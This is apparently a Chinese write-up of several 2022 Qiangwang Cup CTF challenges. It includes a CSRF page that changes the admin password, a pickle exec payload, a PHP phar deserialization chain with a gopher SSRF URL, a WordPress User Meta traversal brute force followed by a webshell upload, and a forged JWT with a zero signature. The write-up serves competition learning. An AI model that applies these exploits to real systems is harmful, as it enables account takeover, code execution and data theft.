第六届强网杯全国网络安全挑战赛部分wp
Misc
签到
复制粘贴 flag{we1come_t0_qwb_s6}
问卷调查
做问卷结束截图OCR识别
flag{W31c0me_70_QWB2022_Se3_You_N3x7 _time}(应该是这个 记不清了)
Web
babyweb
1.注册一个用户,通过该用户进入后台页面
2.进入后有一个bot,可以执行修改密码和bug报告指令
3.查看源码,发现自定义的js中存在csrf漏洞,结合bot的功能,判断可以通过csrf修改admin密码
4.在VPS上构造如下exp,然后bugreport给bot
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>后台管理系统</title>
<!--自定义函数-->
<script>
function sendtobot() {
var ws = null;
var url = "ws://127.0.0.1:8888/bot";
ws = new WebSocket(url);
ws.onopen = function (event) {
alert("yes");
ws.send("help")
ws.send("changepw migooli")
}
ws.onmessage = function (ev) {
botsay(ev.data);
};
}
function botsay(content) {
document.getElementById("chatbox").append("bot: " + content + "\r\n");
}
</script>
<script>sendtobot();</script>
<!-- Bootstrap -->
<link href="http://47.93.52.218:24839/static/bootstrap.css" rel="stylesheet">
<!-- HTML5 shim 和 Respond.js 是为了让 IE8 支持 HTML5 元素和媒体查询(media queries)功能 -->
<!-- 警告:通过 file:// 协议(就是直接将 html 页面拖拽到浏览器中)访问页面时 Respond.js 不起作用 -->
<!--[if lt IE 9]>
<script src="https://cdn.jsdelivr.net/npm/html5shiv@3.7.3/dist/html5shiv.js"></script>
<script src="https://cdn.jsdelivr.net/npm/respond.js@1.4.2/dest/respond.js"></script>
<script type="text/javascript" src="jquery-1.7.2.js"></script>
<![endif]-->
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-ex1-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href=".">主页</a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse navbar-ex1-collapse">
<ul class="nav navbar-nav navbar-right">
<li><a href="/logout">登出</a></li>
</ul>
</div><!-- /.navbar-collapse -->
</nav>
<div style="padding: 100px 100px 10px;">
<div class="form-group">
<label for="name">一个好用简约的bot</label>
<textarea class="form-control" rows="15" id="chatbox"></textarea>
</div>
<div class="form-group">
<label for="name">输入框</label>
<input type="text" class="form-control" placeholder="输入 help 查看bot使用方法" id="sendbox">
</div>
<div class="form-group" style="display: flex;flex-direction: column;align-items: flex-end;">
<button type="button" class="btn btn-info" style="width: 20%;" onclick="sendtobot()">发送</button>
</div>
</div>
<!-- jQuery (Bootstrap 的所有 JavaScript 插件都依赖 jQuery,所以必须放在前边) -->
<script src="http://47.93.52.218:24839/static/jquery.js"></script>
<!-- 加载 Bootstrap 的所有 JavaScript 插件。你也可以根据需要只加载单个插件。 -->
<script src="http://47.93.52.218:24839/static/bootstrap.js"></script>
</body>
</html>
5.这个时候我们已经成功修改了admin的密码,按修改后的密码登录到后台
6.选择购买一个flag,然后抓个包
7.发现传入的参数是嵌套的字典列表,这里根据积累与特征,尝试一波ctfshow学来的骚姿势,发现成功购买,而页面上也得到了flag
crash
1.进入环境,发现是flask源码
代码的大致思路是,用admin登陆后,先进行pickle序列化,然后base64编码,之后放到cookie里
这边有一个点是admin的密码是本地变量secret,而这个变量我们是不知道的,这边可以通过pickle反序列化实现变量覆盖,而pickle_data也进行了过滤,采用双写exec进行绕过
2.先访问/login?username=admin&password=migooli,然后抓包
3.构造出pickle_data,采用双写exec绕过,然后进行base64编码
pickle_data:(S'exec('admin.se'+'cret="migooli"')'i__builtin__exec.
4.将编码后的payload写入到cookie中的userdata,然后访问/balancer?username=admin&password=migooli
5.此时页面跳转到服务器负载均衡设置
6.查看源码,发现nginx配置文件,并且提示flag在504页面中
7.查看nginx配置文件,发现lua_package_path配置,结合上个月b站宕机事件,可以确定将权重设置为0即可跳转到504页面
8.提交完参数后等待一分钟即可拿到flag
easyweb
1.在showfile.php处发现目录穿越任意文件读取漏洞
2.联想到之前在ctfshow的大赛原题里做过类似的,但是是简化版的,思路都是构造phar包上传,然后unlink触发phar反序列化,从而执行恶意代码,构造的exp如下:
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";
}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
$GS = new GuestShow('test');
$GS1 = new GuestShow('test');
$UP = new Upload();
$UP1 = new Upload();
$UP2 = new Upload();
$GS->file = $UP;
$AS = new AdminShow('test');
$AS1 = new AdminShow('test');
$UP->tmp = $AS;
$AS->str[0] = $UP1;
$AS->str[1] = $UP2;
$UP1->filesize = $AS1;
$UP1->date = "gopher://10.10.10.10:80/_GET%20%2Findex%2Ephp%3Furl%3Dfile%3A%2F%2F%2Fflag%0AHost%3A%2010%2E10%2E10%2E10";
$UP2->filesize = $AS1;
$UP2->date = "";
$UP2->tmp = $GS1;
$GS1->file = $AS1;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($G);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
3.将构造好的恶意phar包改好名字和文件类型后在首页上传,这里为了绕过验证,还需要开启PHP_SESSION_UPLOAD_PROGRESS,并且需要添加cookie为admin
4.上传成功后在showfile.php利用phar协议进行读取,右键查看图片即可找到flag
强网先锋
rcefile
1.访问/www.zip,下载源码
2.在upload.php中发现黑名单列表
3.直接上传图片马,后缀名改为phar,直接解析拿到flag
WP_UM
1.开环境后一路安装,发现wordpress版本是6.0,User-Meta版本是2.4.3
2.搜索相关漏洞,发现了CVE-2022-0779
3.先注册个用户,然后在上传页面抓包,然后进行目录穿越,目录存在会显示remove,不存在则不会
4.利用这个漏洞,结合一开始说的猫哥把用户名放在了/username下面,密码放在了/password下面,逐位进行爆破,最后得到用户名MaoGePaMao和密码MaoGeYaoQiFeiLa(强烈谴责出题人,给孩子爆破麻了)
5.拿到用户名密码之后,成功登录进后台,修改UserMeta的上传白名单
6.返回首页,在upload上传一句话,成功RCE
7.flag不在根目录也不在当前目录,正则匹配也找不到flag,情况不对,连上蚁剑
8.最终在/usr/local/This_1s_secert中找到flag(出题人你玩得好啊)
polydiv
from hashlib import *
hash = 'c11853abfee399dfa9e6c7c75d7d91a5d7279fb31ab2f5f1d35ff9e81199bd2d'
data = 'JiTGtGwAKZ1F1APz'
table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for ch1 in table:
for ch2 in table:
for ch3 in table:
for ch4 in table:
hashvalue = sha256((ch1+ch2+ch3+ch4+data).encode()).hexdigest()
if hashvalue == hash:
print(ch1+ch2+ch3+ch4)
quit()
首先通过sha256碰撞得到需要与系统交互的四位字符,得到r,a,c的式子
需要求解b(x),笨办法直接通过附件给的poly2.py脚本进行运算,将rac分别改为01的字符串,令m(x)=r(x)-c(x);令a(x)*b(x)=s(x),已知b(x)的位数为固定8位后可以通过假设b(x)初值为’11111111’进行修改0,1运算后得到正确的b(x),与系统进行交互
通过比对s和m相同后就得到正确的b,将b复制与系统交互
若干次交互后得到flag
ASR
给了n,e,c的rsa,且e=3刚开始考虑低指数加密,直接将c开e次方与通过爆破脚本发现若干小时后无法得到flag,发现n为四个数相乘的结果(假设为pqr*t)
通过yafu来分解n
得到 2872432989693854281918578458293603200587306199407874717707522587993136874097838265650829958344702997782980206004276973399784460125581362617464018665640001
继续分解20分钟左右在yafu的日志中发现四个数
得到四个数后,感觉是有限域开方的题,通过比对ctfshow类型题可发现直接上脚本用sagemath进行求解
from Crypto.Util.number import *
from gmpy2 import *
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
p = 225933944608558304529179430753170813347
q = 260594583349478633632570848336184053653
r = 218566259296037866647273372633238739089
t = 223213222467584072959434495118689164399
R.<x> = Zmod(p)[]
f = x ^ e - c
f = f.monic()
ans1 = f.roots()
R.<x> = Zmod(q)[]
f = x ^ e - c
f = f.monic()
ans2 = f.roots()
R.<x> = Zmod(r)[]
f = x ^ e - c
f = f.monic()
ans3 = f.roots()
R.<x> = Zmod(t)[]
f = x ^ e - c
f = f.monic()
ans4 = f.roots()
for i in ans1:
for j in ans2:
for k in ans3:
for m in ans4:
m = crt([int(i[0]),int(j[0]),int(k[0]),int(m[0])],[p,q,r,t])
flag = long_to_bytes(m)
print(flag)
得到flag
Crypto
myJWT
1.下载源码,发现是ECDSA以及JWT相关的算法,并且是基于java语言的
2.搜索相关相关漏洞,发现了CVE-2022-21449
3.根据cve的描述,java的ECDSA算法中在取出sig中的r和s之后,并没有对r和s的范围进行校验,而且在拿到点p1之后也没有校验是否为无穷远点,从而可以利用(0,0)签名来绕过签名的验证
4.分析完之后,开始操作,连接靶机,输入自己的id,拿到token,拿到之后对token进行伪造,先把第二部分的jwt中的admin值改为true,然后用\x00填满第三部分
Reverse
GameMaster
拿到附件后发现是C#逆向
大致步骤如下:
逆向exe -> 找到解密过程 -> 解密gamemessage -> 分离出dll -> 找到check
使用dnSPY打开 进行反编译
代码审计
结合附件中的gamemessage,说明了此操作是针对内存的,将内存数据转储下来后处理导出
在goldfunc中找到相关逻辑
由此可知,可以将gamemessage先进行xor34后,再以Brainstorming!!!作为秘钥进行解密,从而获得内存数据,将内存数据使用010 查看
提取出来后,foremost分析分离出一个dll,再次使用dnspy分析,发现为ExploitClass.dll
由此可见,对三个数进行校验,校验通过的话便可得到flag
函数抄过去,使用python的z3库进行约束求解,
from z3 import *
result = Solver()
XorKeyList = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
CompareNumList = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7,22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5]
x = BitVec("x", 63)
y = BitVec("y", 63)
z = BitVec("z", 63)
num = -1
ArrayList = []
for i in range(len(CompareNumList)):
ArrayList.append(BitVecVal(0, 63))
for i in range(320):
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
if i % 8 == 0:
num += 1
ArrayList[num] = ((ArrayList[num] << 1) | (((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1)))))
for i in range(len(CompareNumList)):
result.add(CompareNumList[i] == ArrayList[i])
assert result.check() == sat
result = result.model()
print(result)
反丢进计算过程中代入xyz求出flag
def check(x, y, z, ArrayList) -> list:
num = -1
for i in range(320):
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
flag = i % 8
if (flag == 0):
num += 1
ArrayList[num] = (ArrayList[num] << 1) | ((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1)))
return ArrayList
def parse_key(L, Key) -> list:
for i in range(3):
for j in range(4):
Key[i * 4 + j] = L[i] >> j * 8 & 255
return Key
y = 868387187
x = 156324965
z = 3131229747
AnswerList = [x, y, z]
list2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0]
list4 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
list5 = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
list2 = check(x, y, z, list2)
list4 = parse_key(AnswerList, list4)
for i in range(len(list5)):
list5[i] ^= list4[i % len(list4)]
list5[i] = chr(list5[i])
flag = 'flag{' + ''.join(list5) + '}'
print(flag)